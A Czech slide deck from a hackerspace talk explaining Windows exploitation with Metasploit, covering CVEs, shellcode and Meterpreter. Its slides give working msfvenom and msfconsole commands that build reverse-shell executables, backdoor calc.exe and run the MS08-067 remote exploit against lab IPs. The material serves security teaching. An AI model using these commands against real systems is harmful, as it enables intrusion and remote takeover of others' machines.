Hackerspace Pardubice

Exploitace Windows pomocí Metasploit frameworku

Zranitelnosti

- Chyby v kódu aplikace
- Způsobeny nepozorností programátora, bugu v knihovnách nebo běhovém prostředí
- Zranitelnosti se evidují ve veřejných databázích
  - CVE (Common Vulnerabities and Exposures)
  - OSVDB (Open Source Vulnerability DataBase
- V databázích je uveden technická popis chyby, rating, odkazy na další zdroje a odkazy na exploity, doporučené opravení chyby, ...

CVE-ID

- Formát CVE <year>-<arbitrary_digits>
- arbitrary_digits je ID zranitelnosti v daném roce
- Starý formát CVE používá 4 místa pro arbitrary_digits
- Nový formát používá 4 a více míst

Exploit

- Malý program zneužívající chyb v kódu zranitelných aplikací
- Závislý na architektuře, OS, verzi aplikace, verzi OS, …
- Úkolem exploitu je zajistit kontrolovaný pád aplikace
  - Analogie: exploit otevírá dveře bez klíče, ovšem nic jiného
- Obvykle exploit obsahuje payload - shellcode

Shellcode

- Skutečný škodlivý kód
- Většinou se píše v assembleru, velmi často i v binárním kódu
- Velmi úzce svázán s procesorem cílového počítače
- Lze ho použít i samostatně (samostatná .exe binárka, nakažení jiné aplikace, …)
- Shellcode se dá kódovat (obfuskace) a skrýt ho před antiviry nebo IDS/IPS
- Snaha o co nejmenší shellcode (menší shellcode se dá využít ve více situacích, snáze se propašuje do paměti)

Metasploit

- Open-source framework s databází exploitů, shellcode, encoderů, pomocných skriptů, …
- Napsaný v ruby
- Původní autor je HD Moore, nyní vlastněný společností rapid7
- Velmi jednoduchý na použití, oblíbený u Skript Kiddie
- Několik uživatelských rozhraní

Vygenerování .exe souboru

- # msfvenom --arch x86 --platform windows --format exe -p windows/shell/reverse_tcp LHOST=192.168.56.103 LPORT=4444 > sploit.exe
  - -p – použitý shellcode
  - LHOST – adresa počítače kterému napadený stroj předá příkazovou řádku
  - LPORT – port kde naslouchá handler

Spuštění handleru

- Z prostředí msfconsole
- msf > use exploit/multi/handler
- set payload windows/shell/reverse_tcp
- msf exploit(handler) > set LHOST 0.0.0.0
- msf exploit(handler) > exploit

Shellcode + existující exploit

- Easy RM to MP3 Converter (CVE 2009-1330)
- Chyba typu buffer overflow
- # msfvenom --arch x86 --platform windows --format python -p windows/shell/reverse_tcp LHOST=192.168.56.103 LPORT=4444 EXITFUNC=process --bad-chars '\x00\x09\x0a'

Nakažení .exe binárky

- # msfvenom --arch x86 --platform windows --format exe -p windows/shell/reverse_tcp LHOST=192.168.56.103 LPORT=4444 -x calc.exe -k > evil_calc.exe

Meterpreter

- Meta interpreter
- Velmi dobře skrytý před AV (nevytváří žádné procesy)
- Šifrovaná komunikace
- Vykonávání ve dvou fázích
  - Úvodní shellcode nejprve stáhne potřebný kód od útočníka
  - Pomocí DLL injection se načte kód meterpreteru
- Kód meterpreteru jde runtime modifikovat po síti

Remote exploit

- CVE 2008-4250
- msf > use exploit/windows/smb/ms08_067_netapi
- msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
- msf exploit(ms08_067_netapi) > set LHOST 192.168.56.103
- msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
- exploit

Q & A

Děkuji za pozornost

ivo.slanina@gmail.com

Odkazy

- Metasploit Unleashed